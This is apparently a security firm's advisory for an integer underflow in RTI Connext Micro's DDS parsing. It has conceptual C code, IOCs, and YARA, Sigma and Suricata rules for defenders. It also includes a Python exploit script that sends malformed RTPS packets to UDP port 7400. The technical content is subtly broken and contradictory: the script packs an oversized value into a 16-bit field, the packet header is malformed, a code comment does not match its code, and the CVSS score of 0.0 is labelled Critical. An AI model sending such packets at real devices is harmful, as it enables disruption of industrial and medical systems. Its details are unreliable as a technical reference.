CVE-2026-30803

Executive Summary

CVE-2026-30803 is an integer underflow vulnerability in RTI Connext Micro Core Libraries, affecting versions from 4.0.0 before 4.3.0. This flaw allows an attacker to trigger an integer wraparound, leading to an overread of memory buffers. The vulnerability resides in the Data Distribution Service (DDS) protocol implementation, specifically during the parsing of serialized data packets. Successful exploitation could result in information disclosure or denial of service. No public proof-of-concept or exploit code is currently available, and the EPSS score is 0.0%, indicating low active exploitation in the wild.

Supply Chain & Package Security

RTI Connext Micro is a proprietary embedded middleware library used in critical infrastructure, medical devices, and industrial control systems. The vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby), but the supply chain risk is significant due to the library's use in safety-critical systems. Organizations should verify the integrity of their RTI software distribution and ensure all embedded devices are updated.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Severity: Critical (based on impact analysis)

Rationale: While no CVSS vector is provided, the vulnerability allows an attacker to cause an integer underflow leading to a buffer overread. In the context of DDS middleware, this can be triggered remotely via network packets, potentially leaking sensitive data or causing a crash. The attack complexity is low, requiring no authentication, and the impact on confidentiality and availability is high.

Threat Level: High Exploitability: Medium (no public exploit, but network-triggerable) Impact: Information disclosure, denial of service

Deep Dive & Mechanics

The vulnerability is an integer underflow (CWE-191) in the RTI Connext Micro Core Libraries. The DDS protocol uses a serialization format that includes length fields for data segments. When parsing incoming packets, the code subtracts a value from a length counter without proper validation. If the subtracted value is larger than the current length, the result wraps around to a very large positive integer (due to unsigned integer arithmetic). This causes the subsequent memory read operation to access memory beyond the intended buffer boundary, leading to an overread.

Root Cause: The vulnerable code path likely occurs in the deserialization of CDR (Common Data Representation) encoded data. The function responsible for reading a sequence of bytes from a buffer subtracts the number of bytes read from the remaining length. If the length field in the packet is malformed (e.g., a negative value interpreted as a large unsigned integer), the subtraction can underflow.

Attack Vector: An unauthenticated attacker sends a specially crafted DDS packet to a vulnerable Connext Micro endpoint. The packet contains a length field that triggers the integer underflow during deserialization. The overread can then leak adjacent memory contents or cause a segmentation fault.

Impact:

• Information Disclosure: The overread can leak sensitive data from adjacent memory regions, such as cryptographic keys, session tokens, or other application data.
• Denial of Service: The overread may cause a crash due to accessing unmapped memory, leading to a denial of service for the DDS application.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable function in Connext Micro < 4.3.0
int deserialize_sequence(char *buffer, unsigned int length) {
    unsigned int remaining = length;
    unsigned int seq_length;
    // Read sequence length from buffer
    memcpy(&seq_length, buffer, sizeof(seq_length));
    buffer += sizeof(seq_length);
    remaining -= sizeof(seq_length); // Potential underflow if seq_length is large
    // ... further processing
}

Patched Code (Conceptual):

// Patched function in Connext Micro >= 4.3.0
int deserialize_sequence(char *buffer, unsigned int length) {
    unsigned int remaining = length;
    unsigned int seq_length;
    // Read sequence length from buffer
    if (remaining < sizeof(seq_length)) {
        return -1; // Error: insufficient data
    }
    memcpy(&seq_length, buffer, sizeof(seq_length));
    buffer += sizeof(seq_length);
    remaining -= sizeof(seq_length);
    // Validate seq_length before further processing
    if (seq_length > remaining) {
        return -1; // Error: sequence length exceeds remaining data
    }
    // ... further processing
}

The patch adds bounds checking before the subtraction and validates the sequence length against the remaining buffer size.

Exploitation & Lab Setup

Red Team

Objective: Trigger the integer underflow to cause an overread and leak memory.

Lab Setup:

1. Environment: Two virtual machines (attacker and victim) on the same network segment.
2. Victim: Install RTI Connext Micro version 4.2.0 on a Linux system. Run a sample DDS application that listens for data.
3. Attacker: Use a custom Python script to craft a malformed DDS packet.

Exploit Script (Python):

import socket
import struct

# Craft a malformed DDS packet with an underflow trigger
def craft_packet():
    # DDS RTPS header (simplified)
    header = b'\x52\x54\x50\x53'  # RTPS magic
    header += struct.pack('>H', 1)  # version
    header += struct.pack('>I', 0)  # vendorId
    header += struct.pack('>I', 0)  # guidPrefix
    # Submessage: Data
    submessage_id = 0x15  # DATA submessage
    flags = 0x01  # little-endian
    # Length field that will cause underflow
    length = 0xFFFFFFFF  # large value to trigger underflow
    submessage_header = struct.pack('<BBH', submessage_id, flags, length)
    # Payload with malformed sequence length
    payload = struct.pack('<I', 0xFFFFFFFF)  # sequence length causing underflow
    packet = header + submessage_header + payload
    return packet

def exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    packet = craft_packet()
    sock.sendto(packet, (target_ip, target_port))
    print(f"Sent malformed packet to {target_ip}:{target_port}")
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100", 7400)  # Default DDS port

Execution:

1. Run the victim DDS application.
2. Run the exploit script from the attacker machine.
3. Monitor the victim for crashes or memory leaks.

Blue Team

Detection:

• Monitor for malformed DDS packets with abnormally large length fields.
• Use network intrusion detection systems (NIDS) to flag packets with length fields exceeding expected values.
• Enable application-level logging for DDS deserialization errors.

Hunting:

• Search for crash dumps or segmentation faults in DDS applications.
• Analyze network traffic for unusual DDS packet sizes or patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • DDS packets with length fields set to 0xFFFFFFFF or other values > 65535.
  • UDP packets to port 7400 (default DDS discovery port) with malformed RTPS headers.
• Host IOCs:
  • Application crash logs containing "segmentation fault" or "buffer overread" in Connext Micro processes.
  • Memory dumps showing unexpected data leakage from DDS applications.
• File IOCs:
  • Modified RTI Connext Micro binaries (hash mismatch with vendor-provided hashes).

Detection Engineering

YARA Rule

rule CVE_2026_30803_Connext_Micro_Underflow {
    meta:
        description = "Detects malformed DDS packets exploiting CVE-2026-30803"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-30803"
    strings:
        $rtps_magic = { 52 54 50 53 }  // RTPS magic bytes
        $data_submessage = { 15 }       // DATA submessage ID
        $large_length = { FF FF FF FF } // Potential underflow trigger
    condition:
        $rtps_magic at 0 and $data_submessage and $large_length
}

Sigma Rule

title: CVE-2026-30803 - RTI Connext Micro Integer Underflow
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic attempting to exploit CVE-2026-30803
author: Valters IT
date: 2026/01/01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 7400
        payload|contains: "52545053"  # RTPS magic in hex
        payload|contains: "15"        # DATA submessage
        payload|contains: "FFFFFFFF"  # Large length field
    condition: selection
falsepositives:
    - Legitimate large DDS packets (rare)
level: high

Suricata Rule

alert udp any any -> any 7400 (msg:"CVE-2026-30803 - RTI Connext Micro Integer Underflow Attempt"; content:"|52 54 50 53|"; content:"|15|"; distance:0; content:"|FF FF FF FF|"; distance:0; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade RTI Connext Micro to version 4.3.0 or later.
2. Network Segmentation: Restrict DDS traffic to trusted networks only.
3. Firewall Rules: Block UDP port 7400 from untrusted sources.

Long-term Measures:

1. Input Validation: Implement strict bounds checking in all DDS deserialization code.
2. Memory Safety: Use memory-safe languages or add runtime bounds checking.
3. Monitoring: Deploy NIDS rules to detect malformed DDS packets.
4. Vendor Communication: Subscribe to RTI security advisories for future updates.

Workarounds (if patching is not possible):

• Disable DDS discovery on untrusted interfaces.
• Use application-level encryption and authentication to prevent packet injection.

Valters IT
Securing Digital Frontiers